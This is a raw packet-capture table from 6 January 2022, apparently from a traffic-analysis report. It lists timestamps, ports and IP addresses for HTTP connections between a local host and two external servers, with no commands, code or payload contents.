Jan 6, 2022 21:04:53.361825943 CET	80	49854	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:53.361947060 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:53.362241983 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:53.373228073 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.436801910 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.436948061 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.437062979 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.500380993 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.501885891 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.501933098 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.501974106 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502012968 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502051115 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502079964 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.502089977 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502125025 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.502130985 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502175093 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502190113 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.502213955 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502254009 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.502263069 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.502372980 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.541606903 CET	80	49854	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:53.567490101 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567507982 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567523956 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567540884 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567559004 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567574978 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567593098 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567591906 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.567610025 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567627907 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567645073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567661047 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567676067 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.567677975 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567694902 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567712069 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567727089 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567737103 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.567744970 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567761898 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567778111 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567789078 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.567795038 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.567857027 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.567967892 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.568048000 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631201982 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631239891 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631263971 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631289005 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631315947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631345034 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631371021 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631396055 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631423950 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631450891 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631455898 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631478071 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631506920 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631529093 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631530046 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631551027 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631571054 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631587029 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631588936 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631609917 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631629944 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631649017 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631653070 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631668091 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631688118 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631706953 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631726027 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631726027 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631746054 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631767035 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631778002 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631784916 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631799936 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631815910 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631829023 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631830931 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631848097 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631863117 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631877899 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631896973 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631917000 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631936073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631951094 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.631958008 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631979942 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.631998062 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.632015944 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.632035017 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.632038116 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.632154942 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695301056 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695337057 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695362091 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695386887 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695410013 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695417881 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695436001 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695456028 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695462942 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695489883 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695499897 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695513964 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695538998 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695549965 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695564032 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695589066 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695609093 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695615053 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695641041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695666075 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695688963 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695705891 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695713997 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695739985 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695763111 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695766926 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695789099 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695802927 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695816040 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695842028 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695861101 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695868015 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695893049 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695918083 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695919991 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695943117 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695955038 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.695967913 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.695991993 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696007013 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696017027 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696043015 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696068048 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696073055 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696090937 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696115971 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696116924 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696142912 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696152925 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696166992 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696190119 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696208000 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696216106 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696242094 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696266890 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696268082 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696290970 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696315050 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696316004 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696341991 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696363926 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696369886 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696387053 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696410894 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696425915 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696434021 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696460009 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696470976 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696482897 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696506023 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.696516991 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.696556091 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.742587090 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.759747982 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.759784937 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.759983063 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760029078 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760047913 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760073900 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760099888 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760107040 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760126114 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760152102 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760154963 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760175943 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760195971 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760198116 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760224104 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760243893 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760248899 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760272026 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760294914 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760296106 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760318041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760339022 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760339975 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760363102 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760385036 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760387897 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760406971 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760428905 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760432959 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760457993 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760482073 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760482073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760505915 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760529041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760530949 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760548115 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760565996 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760576963 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760582924 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760601997 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760611057 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760618925 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760637045 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760647058 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760653973 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760673046 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760680914 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760691881 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760708094 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760723114 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760724068 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760741949 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760759115 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760761023 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760776043 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760792971 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760793924 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760811090 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760828018 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760828972 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760858059 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760865927 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760884047 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760900974 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760911942 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760916948 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760935068 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760951996 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.760952950 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.760993004 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.805157900 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.805824041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.805847883 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.805928946 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824265957 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824300051 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824321985 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824342966 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824363947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824385881 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824408054 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824407101 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824429035 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824443102 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824450016 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824453115 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824474096 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824486017 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824495077 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824517965 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824518919 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824539900 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824562073 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824565887 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824587107 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824600935 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824609041 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824625015 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824646950 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824651957 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824667931 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824690104 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824696064 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824712992 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824736118 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824752092 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824758053 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824780941 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824800968 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824824095 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824840069 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824863911 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824867964 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824872971 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824892998 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824915886 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824938059 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824950933 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.824960947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.824985027 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825001001 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825006962 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825028896 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825047016 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825052023 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825073957 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825078964 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825097084 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825114012 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825119019 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825144053 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825166941 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825169086 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825190067 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825211048 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825217962 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825233936 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825256109 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825256109 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825282097 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825299025 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825304031 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825325966 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825346947 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825350046 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825366974 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825388908 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825392962 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825411081 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825431108 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825436115 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825453043 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825475931 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825479031 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825496912 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825520039 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825524092 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825542927 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825562954 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825576067 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825586081 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825607061 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825623989 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825629950 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825653076 CET	80	49855	91.243.44.130	192.168.2.4
Jan 6, 2022 21:04:53.825654984 CET	49855	80	192.168.2.4	91.243.44.130
Jan 6, 2022 21:04:53.825673103 CET	80	49855	91.243.44.130	192.168.2.4
